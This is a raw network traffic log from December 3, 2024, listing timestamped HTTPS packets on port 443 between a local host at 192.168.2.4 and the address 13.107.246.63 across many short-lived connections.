Dec 3, 2024 17:55:32.964459896 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.964502096 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:32.964584112 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.964756966 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:32.964771986 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:33.953887939 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:33.954531908 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:33.954551935 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:33.955045938 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:33.955050945 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.137254953 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.137836933 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.137875080 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.138350010 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.138356924 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.147902012 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.148466110 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.148490906 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.148817062 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.148822069 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.396442890 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.397243977 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.397269964 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.397753954 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.397758961 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.407871962 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.410655975 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.410722971 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.410799026 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.410814047 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.410825968 CET	49891	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.410831928 CET	443	49891	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.414108992 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.414148092 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.414235115 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.414407015 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.414419889 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.605295897 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.608758926 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.608814955 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.608830929 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.608882904 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.608942032 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.608962059 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.608972073 CET	49893	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.608978033 CET	443	49893	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.614412069 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.614461899 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.614598036 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.614972115 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.614988089 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.624277115 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.624341011 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.624442101 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.624808073 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.624824047 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.624852896 CET	49892	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.624859095 CET	443	49892	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.629543066 CET	49898	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.629575968 CET	443	49898	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.629726887 CET	49898	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.630057096 CET	49898	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.630075932 CET	443	49898	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.818820000 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.819675922 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.819705963 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.820225954 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.820241928 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.835372925 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.835454941 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.835506916 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.835700989 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.835716009 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.835748911 CET	49894	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.835755110 CET	443	49894	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.841129065 CET	49899	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.841176987 CET	443	49899	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:34.841257095 CET	49899	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.841414928 CET	49899	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:34.841429949 CET	443	49899	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:35.277065039 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:35.279880047 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:35.279957056 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:35.280025005 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:35.280050993 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:35.280061960 CET	49895	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:35.280071020 CET	443	49895	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:35.283596992 CET	49900	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:35.283628941 CET	443	49900	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:35.283729076 CET	49900	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:35.283896923 CET	49900	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:35.283911943 CET	443	49900	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.138127089 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.138912916 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.138957977 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.139789104 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.139795065 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.362840891 CET	443	49898	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.363565922 CET	49898	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.363595963 CET	443	49898	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.364198923 CET	49898	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.364204884 CET	443	49898	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.421626091 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.422158003 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.422183990 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.423434019 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.423439980 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.567965031 CET	443	49899	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.568511009 CET	49899	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.568532944 CET	443	49899	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.568964005 CET	49899	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.568969011 CET	443	49899	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.636539936 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.639955044 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.640024900 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.640108109 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.640108109 CET	49896	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.640166044 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.640188932 CET	443	49896	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.643059969 CET	49901	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.643105984 CET	443	49901	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.643182993 CET	49901	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.643352985 CET	49901	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.643369913 CET	443	49901	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.802263975 CET	443	49898	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.804913044 CET	443	49898	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.804990053 CET	49898	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.805064917 CET	49898	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.805066109 CET	49898	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.805099010 CET	443	49898	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.805119991 CET	443	49898	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.807540894 CET	49902	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.807594061 CET	443	49902	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.807657957 CET	49902	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.807785988 CET	49902	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.807806015 CET	443	49902	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.868550062 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.871366978 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.871433020 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.871444941 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.871498108 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.871541023 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.871556044 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.871566057 CET	49897	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.871571064 CET	443	49897	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.873636007 CET	49903	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.873683929 CET	443	49903	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:36.873749018 CET	49903	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.873867035 CET	49903	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:36.873878002 CET	443	49903	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.005260944 CET	443	49899	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.008024931 CET	443	49899	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.008112907 CET	49899	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.008174896 CET	49899	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.008188009 CET	443	49899	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.008197069 CET	49899	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.008202076 CET	443	49899	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.010936975 CET	49904	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.010965109 CET	443	49904	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.011027098 CET	49904	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.011183977 CET	49904	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.011198044 CET	443	49904	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.104846001 CET	443	49900	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.105328083 CET	49900	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.105357885 CET	443	49900	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.105741978 CET	49900	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.105748892 CET	443	49900	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.556560993 CET	443	49900	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.559109926 CET	443	49900	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.559171915 CET	49900	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.559231997 CET	49900	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.559231997 CET	49900	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.559257984 CET	443	49900	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.559269905 CET	443	49900	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.563142061 CET	49905	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.563182116 CET	443	49905	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:37.563241005 CET	49905	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.563410997 CET	49905	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:37.563426018 CET	443	49905	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.429892063 CET	443	49901	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.430615902 CET	49901	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.430655003 CET	443	49901	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.431969881 CET	49901	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.431977034 CET	443	49901	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.588144064 CET	443	49902	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.588972092 CET	49902	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.589005947 CET	443	49902	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.589473009 CET	49902	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.589479923 CET	443	49902	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.663413048 CET	443	49903	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.663989067 CET	49903	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.664010048 CET	443	49903	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.664469957 CET	49903	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.664475918 CET	443	49903	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.861071110 CET	443	49904	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.861629009 CET	49904	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.861648083 CET	443	49904	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.862042904 CET	49904	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.862047911 CET	443	49904	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.883074045 CET	443	49901	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.885848045 CET	443	49901	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.885895967 CET	443	49901	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.885905027 CET	49901	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.885942936 CET	49901	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.885984898 CET	49901	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.886007071 CET	443	49901	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.886023998 CET	49901	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.886030912 CET	443	49901	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.889972925 CET	49906	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.890000105 CET	443	49906	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:38.890069962 CET	49906	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.890182018 CET	49906	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:38.890192986 CET	443	49906	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.055850029 CET	443	49902	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.055922031 CET	443	49902	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.055973053 CET	49902	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.056212902 CET	49902	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.056237936 CET	443	49902	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.056252956 CET	49902	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.056261063 CET	443	49902	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.059429884 CET	49907	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.059457064 CET	443	49907	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.059544086 CET	49907	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.059712887 CET	49907	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.059727907 CET	443	49907	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.112961054 CET	443	49903	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.115737915 CET	443	49903	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.115803003 CET	49903	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.115850925 CET	49903	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.115871906 CET	443	49903	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.115881920 CET	49903	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.115888119 CET	443	49903	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.118133068 CET	49908	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.118155003 CET	443	49908	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.118213892 CET	49908	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.118319988 CET	49908	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.118333101 CET	443	49908	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.319339037 CET	443	49904	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.322011948 CET	443	49904	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.322096109 CET	49904	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.322247982 CET	49904	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.322269917 CET	443	49904	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.322279930 CET	49904	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.322285891 CET	443	49904	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.329406977 CET	49909	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.329467058 CET	443	49909	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.329555035 CET	49909	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.329715014 CET	49909	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.329731941 CET	443	49909	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.355149984 CET	443	49905	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.355622053 CET	49905	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.355652094 CET	443	49905	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.356062889 CET	49905	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.356069088 CET	443	49905	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.801625013 CET	443	49905	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.804476976 CET	443	49905	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.804527044 CET	443	49905	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.804543018 CET	49905	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.804585934 CET	49905	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.804689884 CET	49905	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.804708004 CET	443	49905	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.804718971 CET	49905	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.804723978 CET	443	49905	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.807590008 CET	49910	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.807627916 CET	443	49910	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:39.807754993 CET	49910	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.807909966 CET	49910	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:39.807924032 CET	443	49910	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:40.697926044 CET	443	49906	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:40.698498964 CET	49906	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:40.698518991 CET	443	49906	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:40.698993921 CET	49906	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:40.699001074 CET	443	49906	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:40.861099005 CET	443	49907	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:40.861759901 CET	49907	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:40.861798048 CET	443	49907	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:40.862219095 CET	49907	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:40.862226963 CET	443	49907	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:40.901299953 CET	443	49908	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:40.901716948 CET	49908	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:40.901757002 CET	443	49908	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:40.902168989 CET	49908	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:40.902173996 CET	443	49908	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.146059990 CET	443	49906	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.148782015 CET	443	49906	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.148859978 CET	49906	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.148929119 CET	49906	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.148950100 CET	443	49906	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.148960114 CET	49906	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.148966074 CET	443	49906	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.152147055 CET	49911	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.152214050 CET	443	49911	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.152308941 CET	49911	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.152488947 CET	49911	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.152506113 CET	443	49911	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.179192066 CET	443	49909	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.179656982 CET	49909	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.179673910 CET	443	49909	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.180134058 CET	49909	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.180138111 CET	443	49909	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.309377909 CET	443	49907	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.312174082 CET	443	49907	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.312237024 CET	443	49907	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.312259912 CET	49907	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.312298059 CET	49907	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.312345028 CET	49907	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.312370062 CET	443	49907	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.312392950 CET	49907	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.312400103 CET	443	49907	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.315231085 CET	49912	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.315268993 CET	443	49912	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.315355062 CET	49912	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.315504074 CET	49912	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.315517902 CET	443	49912	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.349035025 CET	443	49908	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.351675987 CET	443	49908	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.351749897 CET	49908	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.354598999 CET	49908	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.354638100 CET	443	49908	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.354657888 CET	49908	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.354666948 CET	443	49908	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.357108116 CET	49913	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.357144117 CET	443	49913	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.357211113 CET	49913	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.357368946 CET	49913	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.357387066 CET	443	49913	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.621794939 CET	443	49910	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.622540951 CET	49910	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.622572899 CET	443	49910	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.623050928 CET	49910	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.623064041 CET	443	49910	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.636959076 CET	443	49909	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.639749050 CET	443	49909	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.639796019 CET	443	49909	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.639797926 CET	49909	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.639853001 CET	49909	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.639899015 CET	49909	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.639926910 CET	443	49909	13.107.246.63	192.168.2.4
Dec 3, 2024 17:55:41.639939070 CET	49909	443	192.168.2.4	13.107.246.63
Dec 3, 2024 17:55:41.639944077 CET	443	49909	13.107.246.63	192.168.2.4
